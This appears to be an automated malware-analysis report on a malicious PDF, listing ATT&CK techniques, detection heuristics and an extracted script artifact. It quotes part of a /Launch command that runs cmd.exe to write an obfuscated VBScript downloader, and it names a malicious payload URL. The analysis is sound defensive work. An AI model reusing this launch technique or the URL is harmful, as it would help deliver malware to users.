MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.003 Windows Command Shell
T1204.002 Malicious File
The PDF file contains a launch action that executes cmd.exe. This command-line interpreter is used to echo a VBScript payload, which is then likely executed by WScript.Shell. The VBScript payload is obfuscated but appears to use 'Scripting.FileSystemObject' and 'WScript.Shell' to write and execute a file, potentially downloading a second-stage payload from the embedded URL http://01.clovf.info/x/img.php?d=1. The confidence is high due to the direct evidence of exploit and payload execution.
Heuristics 4
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Launch action high PDF_LAUNCHPDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
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Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOADPDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
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/Launch action target: cmd high PDF_LAUNCH_COMMANDPDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://01.clovf.info/x/img.php?d=1
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
embedded_pdf_script_00000067.binad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5 |
pdf-embedded-script | PDF decompressed stream script payload at offset 0x67 | 63 bytes |
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